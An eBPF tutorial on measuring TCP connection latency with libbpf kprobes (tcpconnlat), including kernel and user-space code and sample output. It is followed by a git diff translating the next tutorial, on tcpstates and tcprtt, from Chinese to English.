Example 13: Statistics of TCP Connection Delay with libbpf - -eBPF (Extended Berkeley Packet Filter) is a powerful network and performance analysis tool used in the Linux kernel. eBPF allows developers to dynamically load, update, and run user-defined code without restarting the kernel or changing the kernel source code. - -This article is the thirteenth installment of the eBPF Tutorial by Example, mainly about how to use eBPF to statistics TCP connection delay and process data in user space using libbpf. - -## Background - -When developing backends, regardless of the programming language used, we often need to call databases such as MySQL and Redis, perform RPC remote calls, or call other RESTful APIs. The underlying implementation of these calls is usually based on the TCP protocol. This is because TCP protocol has advantages such as reliable connection, error retransmission, congestion control, etc., so TCP is more widely used in network transport layer protocols than UDP. However, TCP also has some drawbacks, such as longer connection establishment delay. Therefore, some alternative solutions have emerged, such as QUIC (Quick UDP Internet Connections). - -Analyzing TCP connection delay is very useful for network performance analysis, optimization, and troubleshooting. - -## Overview of tcpconnlat Tool - -The `tcpconnlat` tool can trace the functions in the kernel that perform active TCP connections (such as using the `connect()` system call), measure and display connection delay, i.e., the time from sending SYN to receiving response packets. - -### TCP Connection Principle - -The process of establishing a TCP connection is often referred to as the "three-way handshake". Here are the steps of the entire process: - -1. Client sends SYN packet to the server: The client sends SYN through the `connect()` system call. This involves local system call and CPU time cost of software interrupts. -2. SYN packet is transmitted to the server: This is a network transmission that depends on network latency. -3. Server handles the SYN packet: The server kernel receives the packet through a software interrupt, then puts it into the listen queue and sends SYN/ACK response. This mainly involves CPU time cost. -4. SYN/ACK packet is transmitted to the client: This is another network transmission. -5. Client handles the SYN/ACK: The client kernel receives and handles the SYN/ACK packet, then sends ACK. This mainly involves software interrupt handling cost. -6. ACK packet is transmitted to the server: This is the third network transmission. -7. Server receives ACK: The server kernel receives and handles the ACK, then moves the corresponding connection from the listen queue to the established queue. This involves CPU time cost of a software interrupt. -8. Wake up the server-side user process: The user process blocked by the `accept()` system call is awakened, and then the established connection is taken out from the established queue. This involves CPU cost of a context switch. - -The complete flowchart is shown below: - -![tcpconnlat1](tcpconnlat1.png) - -From the client's perspective, under normal circumstances, the total time for a TCP connection is approximately the time consumed by one network round-trip. However, in some cases, it may cause an increase in network transmission time, an increase in CPU processing overhead, or even connection failure. When a long delay is detected, it can be analyzed in conjunction with other information. - -## eBPF Implementation of tcpconnlat - -To understand the process of establishing a TCP connection, we need to understand two queues used by the Linux kernel when handling TCP connections: - -- Listen queue (SYN queue): Stores TCP connections that are in the process of performing three-way handshake. After the server receives the SYN packet, it stores the connection information in this queue. -- Established queue (Accept queue): Stores TCP connections that have completed three-way handshake and are waiting for the application to call the `accept()` function. After the server receives the ACK packet, it creates a new connection and adds it to this queue. - -With an understanding of the purpose of these two queues, we can begin to explore the specific implementation of tcpconnlat. The implementation of tcpconnlat can be divided into two parts: kernel space and user space, which include several main trace points: `tcp_v4_connect`, `tcp_v6_connect`, and `tcp_rcv_state_process`. - -These trace points are mainly located in the TCP/IP network stack in the kernel. When executing the corresponding system call or kernel function, these trace points are activated, triggering the execution of eBPF programs. This allows us to capture and measure the entire process of establishing a TCP connection. - -Let's take a look at the source code of these mounting points first: - -```c -SEC("kprobe/tcp_v4_connect") -int BPF_KPROBE(tcp_v4_connect, struct sock *sk) -{ - return trace_connect(sk); -} - -SEC("kprobe/tcp_v6_connect") -int BPF_KPROBE(tcp_v6_connect, struct sock *sk) -{ - return trace_connect(sk); -} - -SEC("kprobe/tcp_rcv_state_process") -int BPF_KPROBE(tcp_rcv_state_process, struct sock *sk) -{ - return handle_tcp_rcv_state_process(ctx, sk); -} -``` - -This code snippet shows the definition of three kernel probes (kprobe). `tcp_v4_connect` and `tcp_v6_connect` are triggered when the corresponding IPv4 and IPv6 connections are initialized, invoking the `trace_connect()` function. On the other hand, `tcp_rcv_state_process` is triggered when the TCP connection state changes in the kernel, calling the `handle_tcp_rcv_state_process()` function. - -The following section will be divided into two parts: one part analyzes the kernel part of these mount points, where we will delve into the kernel source code to explain how these functions work in detail. The other part analyzes the user part, focusing on how eBPF programs collect data from these mount points and interact with user-space programs. - -### Analysis of tcp_v4_connect function - -The `tcp_v4_connect` function is the main way that the Linux kernel handles TCP IPv4 connection requests. When a user-space program creates a socket through the `socket` system call and then attempts to connect to a remote server through the `connect` system call, the `tcp_v4_connect` function is triggered. - -```c -/* This will initiate an outgoing connection. */ -int tcp_v4_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len) -{ - struct sockaddr_in *usin = (struct sockaddr_in *)uaddr; - struct inet_timewait_death_row *tcp_death_row; - struct inet_sock *inet = inet_sk(sk); - struct tcp_sock *tp = tcp_sk(sk); - struct ip_options_rcu *inet_opt; - struct net *net = sock_net(sk); - __be16 orig_sport, orig_dport; - __be32 daddr, nexthop; - struct flowi4 *fl4; - struct rtable *rt; - int err; - - if (addr_len < sizeof(struct sockaddr_in)) - return -EINVAL; - - if (usin->sin_family != AF_INET) - return -EAFNOSUPPORT; - - nexthop = daddr = usin->sin_addr.s_addr; - inet_opt = rcu_dereference_protected(inet->inet_opt, - lockdep_sock_is_held(sk)); - if (inet_opt && inet_opt->opt.srr) { - if (!daddr) - return -EINVAL; - nexthop = inet_opt->opt.faddr; - } - - orig_sport = inet->inet_sport; - orig_dport = usin->sin_port; - fl4 = &inet->cork.fl.u.ip4; - rt = ip_route_connect(fl4, nexthop, inet->inet_saddr, - sk->sk_bound_dev_if, IPPROTO_TCP, orig_sport, - orig_dport, sk); - if (IS_ERR(rt)) { - err = PTR_ERR(rt); - if (err == -ENETUNREACH) - IP_INC_STATS(net, IPSTATS_MIB_OUTNOROUTES); - return err; - } - - if (rt->rt_flags & (RTCF_MULTICAST | RTCF_BROADCAST)) { - ip_rt_put(rt); - return -ENETUNREACH; - } - if (!inet_opt || !inet_opt->opt.srr) - daddr = fl4->daddr; - - tcp_death_row = &sock_net(sk)->ipv4.tcp_death_row; - - if (!inet->inet_saddr) { - err = inet_bhash2_update_saddr(sk, &fl4->saddr, AF_INET); - if (err) { - ip_rt_put(rt); - return err; - } - } else { - sk_rcv_saddr_set(sk, inet->inet_saddr); - } - - if (tp->rx_opt.ts_recent_stamp && inet->inet_daddr != daddr) { - /* Reset inherited state */ - tp->rx_opt.ts_recent = 0; - tp->rx_opt.ts_recent_stamp = 0; - if (likely(!tp->repair)) - WRITE_ONCE(tp->write_seq, 0); - } - - inet->inet_dport = usin->sin_port; - sk_daddr_set(sk, daddr); - - inet_csk(sk)->icsk_ext_hdr_len = 0; - if (inet_opt) - inet_csk(sk)->icsk_ext_hdr_len = inet_opt->opt.optlen; - - tp->rx_opt.mss_clamp = TCP_MSS_DEFAULT; - - /* Socket identity is still unknown (sport may be zero). - * However we set state to SYN-SENT and not releasing socket - * lock select source port, enter ourselves into the hash tables and - * complete initialization after this. - */ - tcp_set_state(sk, TCP_SYN_SENT); - err = inet_hash_connect(tcp_death_row, sk); - if (err) - goto failure; - - sk_set_txhash(sk); - - rt = ip_route_newports(fl4, rt, orig_sport, orig_dport, - inet->inet_sport, inet->inet_dport, sk); - if (IS_ERR(rt)) { - err = PTR_ERR(rt); - rt = NULL; - goto failure; - } - /* OK, now commit destination to socket. */ - sk->sk_gso_type = SKB_GSO_TCPV4; - sk_setup_caps(sk, &rt->dst); - rt = NULL; - - if (likely(!tp->repair)) { - if (!tp->write_seq) - WRITE_ONCE(tp->write_seq, - secure_tcp_seq(inet->inet_saddr, - inet->inet_daddr, - inet->inet_sport, - usin->sin_port)); - tp->tsoffset = secure_tcp_ts_off(net, inet->inet_saddr, - inet->inet_daddr); - } - - inet->inet_id = get_random_u16(); - - if (tcp_fastopen_defer_connect(sk, &err)) - return err; - if (err) - goto failure; - - err = tcp_connect(sk); - - if (err) - goto failure; - - return 0; - -failure: - /*".* This unhashes the socket and releases the local port, - * if necessary. - */ - tcp_set_state(sk, TCP_CLOSE); - inet_bhash2_reset_saddr(sk); - ip_rt_put(rt); - sk->sk_route_caps = 0; - inet->inet_dport = 0; - return err; -} -EXPORT_SYMBOL(tcp_v4_connect); -``` - -Reference link: - -Next, let's analyze this function step by step: - -First, this function takes three parameters: a socket pointer `sk`, a pointer to the socket address structure `uaddr`, and the length of the address `addr_len`. - -```c -int tcp_v4_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len) -``` - -The function starts by checking the parameters, making sure the address length is correct and the address family is IPv4. If these conditions are not met, the function returns an error. - -Next, the function retrieves the destination address and, if a source routing option is set (an advanced IP feature that is typically not used), it also retrieves the next hop address for the source route. - -```c -nexthop = daddr = usin->sin_addr.s_addr; -inet_opt = rcu_dereference_protected(inet->inet_opt, - lockdep_sock_is_held(sk)); -if (inet_opt && inet_opt->opt.srr) { - if (!daddr) - return -EINVAL; - nexthop = inet_opt->opt.faddr; -} -``` - -Then, using this information, the function looks for a route entry to the destination address. If a route entry cannot be found or the route entry points to a multicast or broadcast address, the function returns an error. - -Next, it updates the source address, handles the state of some TCP timestamp options, and sets the destination port and address. After that, it updates some other socket and TCP options and sets the connection state to `SYN-SENT`. - -Then, the function tries to add the socket to the connected sockets hash table using the `inet_hash_connect` function. If this step fails, it restores the socket state and returns an error. - -If all the previous steps succeed, it then updates the route entry with the new source and destination ports. If this step fails, it cleans up resources and returns an error. - -Next, it commits the destination information to the socket and selects a secure random value for the sequence offset for future segments. - -Then, the function tries to establish the connection using TCP Fast Open (TFO), and if TFO is not available or the TFO attempt fails, it falls back to the regular TCP three-way handshake for connection. - -Finally, if all the above steps succeed, the function returns success; otherwise, it cleans up all resources and returns an error. - -In summary, the `tcp_v4_connect` function is a complex function that handles TCP connection requests. It handles many cases, including parameter checking, route lookup, source address selection, source routing, TCP option handling, TCP Fast Open, and more. Its main goal is to establish TCP connections as safely and efficiently as possible. - -### Kernel Code - -```c -// SPDX-License-Identifier: GPL-2.0 -// Copyright (c) 2020 Wenbo Zhang -#include -#include -#include -#include -#include "tcpconnlat.h" - -#define AF_INET 2 -#define AF_INET6 10 - -const volatile __u64 targ_min_us = 0; -const volatile pid_t targ_tgid = 0; - -struct piddata { - char comm[TASK_COMM_LEN]; - u64 ts; - u32 tgid; -}; - -struct { - __uint(type, BPF_MAP_TYPE_HASH); - __uint(max_entries, 4096); - __type(key, struct sock *); - __type(value, struct piddata); -} start SEC(".maps"); - -struct { - __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); - __uint(key_size, sizeof(u32)); - __uint(value_size, sizeof(u32)); -} events SEC(".maps"); - -static int trace_connect(struct sock *sk) -{ - u32 tgid = bpf_get_current_pid_tgid() >> 32; - struct piddata piddata = {}; - - if (targ_tgid && targ_tgid != tgid) - return 0; - - bpf_get_current_comm(&piddata.comm, sizeof(piddata.comm)); - piddata.ts = bpf_ktime_get_ns(); - piddata.tgid = tgid; - bpf_map_update_elem(&start, &sk, &piddata, 0); - return 0; -} - -static int handle_tcp_rcv_state_process(void *ctx, struct sock *sk) -{ - struct piddata *piddatap; - struct event event = {}; - s64 delta; - u64 ts; - - if (BPF_CORE_READ(sk, __sk_common.skc_state) != TCP_SYN_SENT) - return 0; - - piddatap = bpf_map_lookup_elem(&start, &sk); - if (!piddatap) - return 0; - - ts = bpf_ktime_get_ns(); - delta = (s64)(ts - piddatap->ts); - if (delta < 0) - goto cleanup; - - event.delta_us = delta / 1000U; - if (targ_min_us && event.delta_us < targ_min_us) - goto cleanup; - __builtin_memcpy(&event.comm, piddatap->comm, - sizeof(event.comm)); - event.ts_us = ts / 1000; - event.tgid = piddatap->tgid; - event.lport = BPF_CORE_READ(sk, __sk_common.skc_num); - event.dport = BPF_CORE_READ(sk, __sk_common.skc_dport); - event.af = BPF_CORE_READ(sk, __sk_common.skc_family); - if (event.af == AF_INET) { - event.saddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_rcv_saddr); - event.daddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_daddr); - } else { - BPF_CORE_READ_INTO(&event.saddr_v6, sk, - __sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32); - BPF_CORE_READ_INTO(&event.daddr_v6, sk, - __sk_common.skc_v6_daddr.in6_u.u6_addr32); - } - bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, - &event, sizeof(event)); - -cleanup: - bpf_map_delete_elem(&start, &sk); - return 0; -} - -SEC("kprobe/tcp_v4_connect") -int BPF_KPROBE(tcp_v4_connect, struct sock *sk) -{ - return trace_connect(sk); -} - -SEC("kprobe/tcp_v6_connect") -int BPF_KPROBE(tcp_v6_connect, struct sock *sk) -{ - return trace_connect(sk); -} - -SEC("kprobe/tcp_rcv_state_process") -int BPF_KPROBE(tcp_rcv_state_process, struct sock *sk) -{ - return handle_tcp_rcv_state_process(ctx, sk); -} - -SEC("fentry/tcp_v4_connect") -int BPF_PROG(fentry_tcp_v4_connect, struct sock *sk) -{ - return trace_connect(sk); -} - -SEC("fentry/tcp_v6_connect") -int BPF_PROG(fentry_tcp_v6_connect, struct sock *sk) -{ - return trace_connect(sk); -} - -SEC("fentry/tcp_rcv_state_process") -int BPF_PROG(fentry_tcp_rcv_state_process, struct sock *sk) -{ - return handle_tcp_rcv_state_process(ctx, sk); -} - -char LICENSE[] SEC("license") = "GPL"; -``` - -This eBPF (Extended Berkeley Packet Filter) program is mainly used to monitor and collect the time it takes to establish TCP connections, i.e., the time interval from initiating a TCP connection request (connect system call) to the completion of the connection establishment (SYN-ACK handshake process). This is very useful for monitoring network latency, service performance analysis, and other aspects. - -First, two eBPF maps are defined: `start` and `events`. `start` is a hash table used to store the process information and timestamp of the initiating connection request, while `events` is a map of type `PERF_EVENT_ARRAY` used to transfer event data to user space. - -```c -struct { - __uint(type, BPF_MAP_TYPE_HASH); - __uint(max_entries, 4096); - __type(key, struct sock *); - __type(value, struct piddata); -} start SEC(".maps"); - -struct { - __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); - __uint(key_size, sizeof(u32)); - __uint(value_size, sizeof(u32)); -} events SEC(".maps"); -``` - -In the kprobe handling functions `trace_connect` of `tcp_v4_connect` and `tcp_v6_connect`, the process information (process name, process ID, and current timestamp) of the initiating connection request is recorded and stored in the `start` map with the socket structure as the key. - -```c -static int trace_connect(struct sock *sk) -{ - u32 tgid = bpf_get_current_pid_tgid() >> 32; - struct piddata piddata = {}; - - if (targ_tgid && targ_tgid != tgid) - return 0; - - bpf_get_current_comm(&piddata.comm, sizeof(piddata.comm)); - piddata.ts = bpf_ktime_get_ns(); - piddata.tgid = tgid; - bpf_map_update_elem(&start, &sk, &piddata, 0); - return 0; -} -``` - -When the TCP state machine processes the SYN-ACK packet, i.e., when the connection is established, the kprobe handling function `handle_tcp_rcv_state_process` of `tcp_rcv_state_process` is triggered. In this function, it first checks if the socket state is `SYN-SENT`. If it is, it looks up the process information for the socket in the `start` map. Then it calculates the time interval from the initiation of the connection to the present and sends this time interval, process information, and TCP connection details (source port, destination port, source IP, destination IP, etc.) as an event to user space using the `bpf_perf_event_output` function. - -```c -static int handle_tcp_rcv_state_process(void *ctx, struct sock *sk) -{ - struct piddata *piddatap; - struct event event = {}; - s64 delta; - u64 ts; - - if (BPF_CORE_READ(sk, __sk_common.skc_state) != TCP_SYN_SENT) - return 0; - - piddatap = bpf_map_lookup_elem(&start, &sk); - if (!piddatap) - return 0; - - ts = bpf_ktime_get_ns(); - delta = (s64)(ts - piddatap->ts); - if (delta < 0) - goto cleanup; - - event.delta_us = delta / 1000U; - if (targ_min_us && event.delta_us < targ_min_us) - goto cleanup; - __builtin_memcpy(&event.comm, piddatap->comm, - sizeof(event.comm)); - event.ts_us = ts / 1000; - event.tgid = piddatap->tgid; - event.lport = BPF_CORE_READ(sk, __sk_common.skc_num); - event.dport = BPF_CORE_READ(sk, __sk_common.skc_dport); - event.af = BPF_CORE_READ(sk, __sk_common.skc_family); - if (event.af == AF_INET) { - event.saddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_rcv_saddr); - event.daddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_daddr); - } else { - BPF_CORE_READ_INTO(&event.saddr_v6, sk, - __sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32); - BPF_CORE_READ_INTO(&event.daddr_v6, sk, - __sk_common.skc_v6_daddr.in6_u.u6_addr32); - } - bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, - &event, sizeof(event)); - -cleanup: - bpf_map_delete_elem(&start, &sk); - return 0; -} -``` - -This program uses a while loop to repeatedly poll the perf event buffer. If there is an error during polling (e.g., due to a signal interruption), an error message will be printed. This polling process continues until an exit flag `exiting` is received. - -Next, let's take a look at the `handle_event` function, which handles every eBPF event sent from the kernel to user space: - -```c -void handle_event(void* ctx, int cpu, void* data, __u32 data_sz) { - const struct event* e = data; - char src[INET6_ADDRSTRLEN]; - char dst[INET6_ADDRSTRLEN]; - union { - struct in_addr x4; - struct in6_addr x6; - } s, d; - static __u64 start_ts; - - if (env.timestamp) { - if (start_ts == 0) - start_ts = e->ts_us; - printf("%-9.3f ", (e->ts_us - start_ts) / 1000000.0); - } - if (e->af == AF_INET) { - s.x4.s_addr = e->saddr_v4; - d.x4.s_addr = e->daddr_v4; - } else if (e->af == AF_INET6) { - memcpy(&s.x6.s6_addr, e->saddr_v6, sizeof(s.x6.s6_addr)); - memcpy(&d.x6.s6_addr, e->daddr_v6, sizeof(d.x6.s6_addr)); - } else { - fprintf(stderr, "broken event: event->af=%d", e->af); - return; - } - - if (env.lport) { - printf("%-6d %-12.12s %-2d %-16s %-6d %-16s %-5d %.2f\n", e->tgid, - e->comm, e->af == AF_INET ? 4 : 6, - inet_ntop(e->af, &s, src, sizeof(src)), e->lport, - inet_ntop(e->af, &d, dst, sizeof(dst)), ntohs(e->dport), - e->delta_us / 1000.0); - } else { - printf("%-6d %-12.12s %-2d %-16s %-16s %-5d %.2f\n", e->tgid, e->comm, - e->af == AF_INET ? 4 : 6, inet_ntop(e->af, &s, src, sizeof(src)), - inet_ntop(e->af, &d, dst, sizeof(dst)), ntohs(e->dport), - e->delta_us / 1000.0); - } -} -``` - -The `handle_event` function takes arguments including the CPU number, a pointer to the data, and the size of the data. The data is a `event` structure that contains information about TCP connections computed in the kernel space. - -First, it compares the timestamp of the received event with the start timestamp (if available) to calculate the relative time of the event, and then prints it. Next, it converts the source address and destination address from network byte order to host byte order based on the IP address type (IPv4 or IPv6). - -Finally, depending on whether the user chooses to display the local port, it prints the process ID, process name, IP version, source IP address, local port (if available), destination IP address, destination port, and connection establishment time. This connection establishment time is calculated in the eBPF program running in the kernel space and sent to the user space. - -## Compilation and Execution - -```console -$ make -... - BPF .output/tcpconnlat.bpf.o".GEN-SKEL .output/tcpconnlat.skel.h - CC .output/tcpconnlat.o - BINARY tcpconnlat -$ sudo ./tcpconnlat -PID COMM IP SADDR DADDR DPORT LAT(ms) -222564 wget 4 192.168.88.15 110.242.68.3 80 25.29 -222684 wget 4 192.168.88.15 167.179.101.42 443 246.76 -222726 ssh 4 192.168.88.15 167.179.101.42 22 241.17 -222774 ssh 4 192.168.88.15 1.15.149.151 22 25.31 -``` - -Source code: [https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/13-tcpconnlat](https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/13-tcpconnlat) - -References: - -- [tcpconnlat](https://github.com/iovisor/bcc/blob/master/libbpf-tools/tcpconnlat.c) in bcc - -## Summary - -In this eBPF introductory tutorial, we learned how to use eBPF to track and measure the latency of TCP connections. We first explored how eBPF programs can attach to specific kernel functions in kernel-space and capture the start and end times of connection establishment to calculate latency. - -We also learned how to use BPF maps to store and retrieve data in kernel-space, enabling data sharing among different parts of the eBPF program. Additionally, we discussed how to use perf events to send data from kernel-space to user-space for further processing and display. - -In user-space, we introduced the usage of libbpf library APIs, such as perf_buffer__poll, to receive and process data sent from the kernel-space. We also demonstrated how to parse and print this data in a human-readable format. - -If you are interested in learning more about eBPF and its practical applications, please refer to the official documentation of eunomia-bpf: [https://github.com/eunomia-bpf/eunomia-bpf](https://github.com/eunomia-bpf/eunomia-bpf). You can also visit our tutorial code repository at [https://github.com/eunomia-bpf/bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) for more examples and complete tutorials. - -In the upcoming tutorials, we will dive deeper into advanced features of eBPF, such as tracing the path of network packets and fine-grained system performance monitoring. We will continue to share more content on eBPF development practices to help you better understand and master eBPF technology. We hope these resources will be valuable in your learning and practical journey with eBPF. - -> The original link of this article: diff --git a/src/14-tcpstates/.config b/src/14-tcpstates/.config new file mode 100644 index 00000000..e23ad1a4 --- /dev/null +++ b/src/14-tcpstates/.config @@ -0,0 +1 @@ +level=Advance diff --git a/src/14-tcpstates/README.md b/src/14-tcpstates/README.md index 6bf2c8d2..6e30f9d0 100644 --- a/src/14-tcpstates/README.md +++ b/src/14-tcpstates/README.md @@ -1,16 +1,18 @@ -# eBPF入门实践教程十四:记录 TCP 连接状态与 TCP RTT +# eBPF Tutorial by Example 14: Recording TCP Connection Status and TCP RTT -eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具,被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码,而无需重启内核或更改内核源代码。 +eBPF (Extended Berkeley Packet Filter) is a powerful network and performance analysis tool widely used in the Linux kernel. eBPF allows developers to dynamically load, update, and run user-defined code without restarting the kernel or changing the kernel source code. -在我们的 eBPF 入门实践教程系列的这一篇,我们将介绍两个示例程序:`tcpstates` 和 `tcprtt`。`tcpstates` 用于记录 TCP 连接的状态变化,而 `tcprtt` 则用于记录 TCP 的往返时间 (RTT, Round-Trip Time)。 +In this article of our eBPF Tutorial by Example series, we will introduce two sample programs: `tcpstates` and `tcprtt`. `tcpstates` is used to record the state changes of TCP connections, while `tcprtt` is used to record the Round-Trip Time (RTT) of TCP. -## `tcprtt` 与 `tcpstates` +> The complete source code: -网络质量在当前的互联网环境中至关重要。影响网络质量的因素有许多,包括硬件、网络环境、软件编程的质量等。为了帮助用户更好地定位网络问题,我们引入了 `tcprtt` 这个工具。`tcprtt` 可以监控 TCP 链接的往返时间,从而评估网络质量,帮助用户找出可能的问题所在。 +## `tcprtt` and `tcpstates` -当 TCP 链接建立时,`tcprtt` 会自动根据当前系统的状况,选择合适的执行函数。在执行函数中,`tcprtt` 会收集 TCP 链接的各项基本信息,如源地址、目标地址、源端口、目标端口、耗时等,并将这些信息更新到直方图型的 BPF map 中。运行结束后,`tcprtt` 会通过用户态代码,将收集的信息以图形化的方式展示给用户。 +Network quality is crucial in the current Internet environment. There are many factors that affect network quality, including hardware, network environment, and the quality of software programming. To help users better locate network issues, we introduce the tool `tcprtt`. `tcprtt` can monitor the Round-Trip Time of TCP connections, evaluate network quality, and help users identify potential problems. -`tcpstates` 则是一个专门用来追踪和打印 TCP 连接状态变化的工具。它可以显示 TCP 连接在每个状态中的停留时长,单位为毫秒。例如,对于一个单独的 TCP 会话,`tcpstates` 可以打印出类似以下的输出: +When a TCP connection is established, `tcprtt` automatically selects the appropriate execution function based on the current system conditions. In the execution function, `tcprtt` collects various basic information of the TCP connection, such as source address, destination address, source port, destination port, and time elapsed, and updates this information to a histogram-like BPF map. After the execution is completed, `tcprtt` presents the collected information graphically to users through user-mode code. + +`tcpstates` is a tool specifically designed to track and print changes in TCP connection status. It can display the duration of TCP connections in each state, measured in milliseconds. For example, for a single TCP session, `tcpstates` can print output similar to the following: ```sh SKADDR C-PID C-COMM LADDR LPORT RADDR RPORT OLDSTATE -> NEWSTATE MS @@ -21,13 +23,13 @@ ffff9fd7e8192000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 FI ffff9fd7e8192000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 FIN_WAIT2 -> CLOSE 0.006 ``` -以上输出中,最多的时间被花在了 ESTABLISHED 状态,也就是连接已经建立并在传输数据的状态,这个状态到 FIN_WAIT1 状态(开始关闭连接的状态)的转变过程中耗费了 176.042 毫秒。 +In the above output, the most time is spent in the ESTABLISHED state, which indicates that the connection has been established and data transmission is in progress. The transition from this state to the FIN_WAIT1 state (the beginning of connection closure) took 176.042 milliseconds. -在我们接下来的教程中,我们会更深入地探讨这两个工具,解释它们的实现原理,希望这些内容对你在使用 eBPF 进行网络和性能分析方面的工作有所帮助。 +In our upcoming tutorials, we will delve deeper into these two tools, explaining their implementation principles, and hopefully, these contents will help you in your work with eBPF for network and performance analysis. -## tcpstate +## tcpstate eBPF code -由于篇幅所限,这里我们主要讨论和分析对应的 eBPF 内核态代码实现。以下是 tcpstate 的 eBPF 代码: +Due to space constraints, here we mainly discuss and analyze the corresponding eBPF kernel-mode code implementation. The following is the eBPF code for tcpstate: ```c const volatile bool filter_by_sport = false; @@ -44,7 +46,8 @@ struct { struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); - __type(key, __u16); + ... +```__type(key, __u16); __type(value, __u16); } dports SEC(".maps"); @@ -108,7 +111,6 @@ int handle_set_state(struct trace_event_raw_inet_sock_set_state *ctx) bpf_probe_read_kernel(&event.saddr, sizeof(event.saddr), &sk->__sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32); bpf_probe_read_kernel(&event.daddr, sizeof(event.daddr), &sk->__sk_common.skc_v6_daddr.in6_u.u6_addr32); } - bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); if (ctx->newstate == TCP_CLOSE) @@ -120,23 +122,25 @@ int handle_set_state(struct trace_event_raw_inet_sock_set_state *ctx) } ``` -`tcpstates`主要依赖于 eBPF 的 Tracepoints 来捕获 TCP 连接的状态变化,从而跟踪 TCP 连接在每个状态下的停留时间。 +The `tcpstates` program relies on eBPF Tracepoints to capture the state changes of TCP connections, in order to track the time spent in each state of the TCP connection. + +### Define BPF Maps -### 定义 BPF Maps +In the `tcpstates` program, several BPF Maps are defined, which are the primary way of interaction between the eBPF program and the user-space program. `sports` and `dports` are used to store the source and destination ports for filtering TCP connections; `timestamps` is used to store the timestamps for each TCP connection to calculate the time spent in each state; `events` is a map of type `perf_event`, used to send event data to the user-space. -在`tcpstates`程序中,首先定义了几个 BPF Maps,它们是 eBPF 程序和用户态程序之间交互的主要方式。`sports`和`dports`分别用于存储源端口和目标端口,用于过滤 TCP 连接;`timestamps`用于存储每个 TCP 连接的时间戳,以计算每个状态的停留时间;`events`则是一个 perf_event 类型的 map,用于将事件数据发送到用户态。 +### Trace TCP Connection State Changes -### 追踪 TCP 连接状态变化 +The program defines a function called `handle_set_state`, which is a program of type tracepoint and is mounted on the `sock/inet_sock_set_state` kernel tracepoint. Whenever the TCP connection state changes, this tracepoint is triggered and the `handle_set_state` function is executed. -程序定义了一个名为`handle_set_state`的函数,该函数是一个 tracepoint 类型的程序,它将被挂载到`sock/inet_sock_set_state`这个内核 tracepoint 上。每当 TCP 连接状态发生变化时,这个 tracepoint 就会被触发,然后执行`handle_set_state`函数。 +In the `handle_set_state` function, it first determines whether the current TCP connection needs to be processed through a series of conditional judgments, then retrieves the previous timestamp of the current connection from the `timestamps` map, and calculates the time spent in the current state. Then, the program places the collected data in an event structure and sends the event to the user-space using the `bpf_perf_event_output` function. -在`handle_set_state`函数中,首先通过一系列条件判断确定是否需要处理当前的 TCP 连接,然后从`timestamps`map 中获取当前连接的上一个时间戳,然后计算出停留在当前状态的时间。接着,程序将收集到的数据放入一个 event 结构体中,并通过`bpf_perf_event_output`函数将该 event 发送到用户态。 +### Update Timestamps -### 更新时间戳 +Finally, based on the new state of the TCP connection, the program performs different operations: if the new state is TCP_CLOSE, it means the connection has been closed and the program deletes the timestamp of that connection from the `timestamps` map; otherwise, the program updates the timestamp of the connection. -最后,根据 TCP 连接的新状态,程序将进行不同的操作:如果新状态为 TCP_CLOSE,表示连接已关闭,程序将从`timestamps`map 中删除该连接的时间戳;否则,程序将更新该连接的时间戳。 +## User-Space Processing for tcpstate -用户态的部分主要是通过 libbpf 来加载 eBPF 程序,然后通过 perf_event 来接收内核中的事件数据: +The user-space part is mainly about loading the eBPF program using libbpf and receiving event data from the kernel using perf_event: ```c static void handle_event(void* ctx, int cpu, void* data, __u32 data_sz) { @@ -166,33 +170,28 @@ static void handle_event(void* ctx, int cpu, void* data, __u32 data_sz) { } else { printf( "%-16llx %-7d %-10.10s %-15s %-5d %-15s %-5d %-11s -> %-11s %.3f\n", - e->skaddr, e->pid, e->task, saddr, e->sport, daddr, e->dport, - tcp_states[e->oldstate], tcp_states[e->newstate], - (double)e->delta_us / 1000); - } -} + ... ``` -`handle_event`就是这样一个回调函数,它会被 perf_event 调用,每当内核有新的事件到达时,它就会处理这些事件。 +handle_event` is a callback function that is called by perf_event. It handles new events that arrive in the kernel. -在`handle_event`函数中,我们首先通过`inet_ntop`函数将二进制的 IP 地址转换成人类可读的格式,然后根据是否需要输出宽格式,分别打印不同的信息。这些信息包括了事件的时间戳、源 IP 地址、源端口、目标 IP 地址、目标端口、旧状态、新状态以及在旧状态停留的时间。 +In the `handle_event` function, we first use the `inet_ntop` function to convert the binary IP address to a human-readable format. Then, based on whether the wide format is needed or not, we print different information. This information includes the timestamp of the event, source IP address, source port, destination IP address, destination port, old state, new state, and the time spent in the old state. -这样,用户就可以清晰地看到 TCP 连接状态的变化,以及每个状态的停留时间,从而帮助他们诊断网络问题。 +This allows users to see the changes in TCP connection states and the duration of each state, helping them diagnose network issues. -总结起来,用户态部分的处理主要涉及到了以下几个步骤: +In summary, the user-space part of the processing involves the following steps: -1. 使用 libbpf 加载并运行 eBPF 程序。 -2. 设置回调函数来接收内核发送的事件。 -3. 处理接收到的事件,将其转换成人类可读的格式并打印。 +1. Use libbpf to load and run the eBPF program. +2. Set up a callback function to receive events sent by the kernel. +3. Process the received events, convert them into a human-readable format, and print them. 